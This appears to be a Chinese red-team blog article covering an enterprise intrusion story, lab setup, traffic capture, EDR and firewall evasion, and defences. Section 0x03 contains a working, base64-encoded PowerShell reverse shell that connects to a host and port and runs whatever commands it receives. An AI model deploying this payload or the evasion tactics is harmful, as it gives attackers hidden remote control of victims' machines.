0x01 从一次企业渗透说起

在某次红队行动中，我们接到任务渗透一家大型金融企业。这个企业采用了最新的防御技术，EDR覆盖全面，网络流量监控严格。然而，我们的目标是找到一个能够撬开企业系统的突破口，并在内部横向移动以达到数据窃取的目的。此次行动的技术挑战主要在于如何绕过重重防御并保持隐蔽。

渗透开始：在一次初步探测中，我们发现企业的Web服务器存在一个未修补的SQL注入漏洞。这个漏洞成为了我们的切入点，通过该漏洞，我们成功获取了数据库的部分信息，发现了内部员工账号的密码哈希。

权限提升：利用密码哈希，我们尝试进行暴力破解。这时，时间就是关键，我们使用了并行处理技术加快破解速度。最终，我们成功获取了一个低权限的员工账号，开始在内网进行权限提升。

横向移动：内网环境中，域控制器是我们的首要目标。我们发现了一台不在监控摄像头范围内的办公电脑，这台电脑上安装了过时的远程桌面服务。通过其操作系统漏洞，我们成功获得了远程访问权限。

数据窃取与痕迹清除：最终，我们成功渗透到域控制器，获取了大量敏感数据。在数据导出后，使用了一些自定义工具对日志进行清理，确保不留痕迹。

这次行动让我们意识到，尽管技术在不断更新，但企业在安全防御上依然存在死角。

0x02 实战环境搭建

在任何红队行动中，环境搭建是不可或缺的一步。为确保攻击流程的顺利进行，我们需要搭建一个与目标环境十分相似的测试环境。这样不仅可以更好地模拟攻击场景，还能提前预知可能出现的问题。

实验室配置

  1. 硬件配置：选择具有足够计算能力的设备，以便运行多个虚拟机进行攻击模拟。
  2. 软件选择：安装虚拟机管理软件（如VMware、VirtualBox），以及常用的攻击工具（如Metasploit、Cobalt Strike）。
  3. 网络架构：模拟企业网络结构，包括内外网的划分、典型的防火墙配置等。
  4. 目标系统：搭建目标系统，包括常见的操作系统版本、应用服务等。

环境调试

  • 基础测试：确保所有组件正常工作，网络连通性良好。
  • 权限模拟：设置不同权限的用户角色，以便模拟各种权限提升攻击。
  • 漏洞模拟：安装已知漏洞的版本软件，验证攻击工具的有效性。

通过模拟目标企业的环境，我们可以预演攻击的每一步，确保每一个环节都经过精细调试。

0x03 Payload构造的艺术

在红队行动中，Payload是攻击链的关键环节。构造一个有效且隐蔽的Payload能够决定行动的成败。我们的目标是设计一个能够绕过EDR检测，并且在目标系统中持久化的Payload。

Python与PowerShell的结合

Python脚本通常用于快速构造Payload，结合PowerShell可以实现更深层次的系统交互。以下是一段Payload构造代码示例：

<pre><code class="language-python">import base64 import subprocess

这里是我们的Payload，使用PowerShell脚本进行远程访问

payload = &quot;&quot;&quot; powershell -NoP -NonI -W Hidden -Exec Bypass -Command &quot;$client = New-Object System.Net.Sockets.TCPClient(&#039;192.168.1.100&#039;,4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);Invoke-Expression $data;}&quot;&quot;&quot;

对Payload进行base64编码以便于传输

encoded_payload = base64.b64encode(payload.encode(&#039;utf-8&#039;))

通过PowerShell执行Payload

subprocess.call([&#039;powershell&#039;, &#039;-EncodedCommand&#039;, encoded_payload])</code></pre>

免杀与混淆

  • 混淆技术：通过代码混淆工具对Payload进行处理，增加反检测能力。
  • 内存加载：避免在磁盘上留下痕迹，通过直接内存加载方式执行。
  • 流量伪装：通过协议伪装，使网络流量看起来像正常业务流量。

经验分享：构建Payload时，需注意目标系统的配置和可能的防御措施，进行针对性调整。

0x04 流量捕获实战

在内网渗透中，流量捕获是获取信息的重要手段。通过对网络流量进行分析，可以发现潜在的攻击路径和目标系统的弱点。

捕获与分析

  • 工具选择：使用Wireshark进行实时流量监控与捕获，是一种直观且有效的方法。
  • 协议分析：重点分析HTTP、DNS等常见协议的数据包，寻找有价值的信息。
  • 特征识别：通过识别流量中的特征，发现潜在的安全漏洞或错误配置。

实战演示

  1. 数据包过滤：使用Wireshark中的过滤规则，筛选出目标主机的流量。
  2. 流量解密：如果有数据加密，尝试通过已知密钥或SSL/TLS解密方式进行分析。
  3. 信息提取：在流量中提取关键信息，如用户认证信息、服务器版本等。

通过流量捕获，我们可以更直观地了解目标网络结构和操作流程，为后续攻击提供方向。

黑客示意图

0x05 绕过技术深度探讨

绕过技术在红队行动中至关重要。无论是绕过防火墙、EDR，还是其他安全措施，了解其工作原理和漏洞是成功的关键。

EDR绕过

EDR技术不断进步，我们需要不断更新绕过方法：

  • 行为模拟：通过模拟正常用户行为，避免触发异常检测。
  • 白名单利用：利用EDR的白名单机制，将Payload伪装成可信程序。
  • 时间窗口攻击：在EDR更新前的短暂时间窗口，进行快速攻击。

防火墙规避

  • 端口伪装：使用常见的开放端口进行数据传输。
  • 封包细分：将数据包细分到最小，以躲避防火墙检测。
  • 协议混淆：通过伪装成正常协议，使流量看似正常。

个人经验：绕过技术不仅是工具的使用，更在于对环境的理解和策略的灵活应用。

0x06 检测与防御策略

黑客示意图

在进行红队攻击时，了解检测与防御策略有助于调整攻击手段。虽然我们是攻击者，但知己知彼方能百战不殆。

检测技术

  • 主动扫描：使用新的扫描技术，主动发现异常行为。
  • 行为分析：通过分析用户行为，识别潜在威胁。
  • 流量监控：实时监控网络流量，发现异常模式。

防御措施

  • 权限控制：严格的权限控制是防御的重要环节，通过设置不同权限级别，减少被攻击面。
  • 补丁管理：及时更新系统补丁，避免已知漏洞被利用。
  • 日志分析：通过分析日志，发现异常现象并进行快速响应。

经验分享：有效的防御需要不断更新技术和策略，了解最新攻击趋势并进行针对性防护。

0x07 红队经验总结

经过多次实战，我们总结出一些有效的红队经验：

  • 持续学习：攻击技术不断更新，保持学习才能持续领先。
  • 团队合作：红队行动需要各个环节的协作，充分发挥团队的优势。
  • 创新思维：在面对复杂环境时，创新的思维往往能找到突破口。

合法声明：本文仅限授权安全测试，供安全研究人员学习。

黑客示意图

在红队行动中，挑战不断变化。每一次成功的渗透，都离不开对于技术的深入理解和对环境的精准把握。希望本文的分享能为你在红队行动中提供一些启示。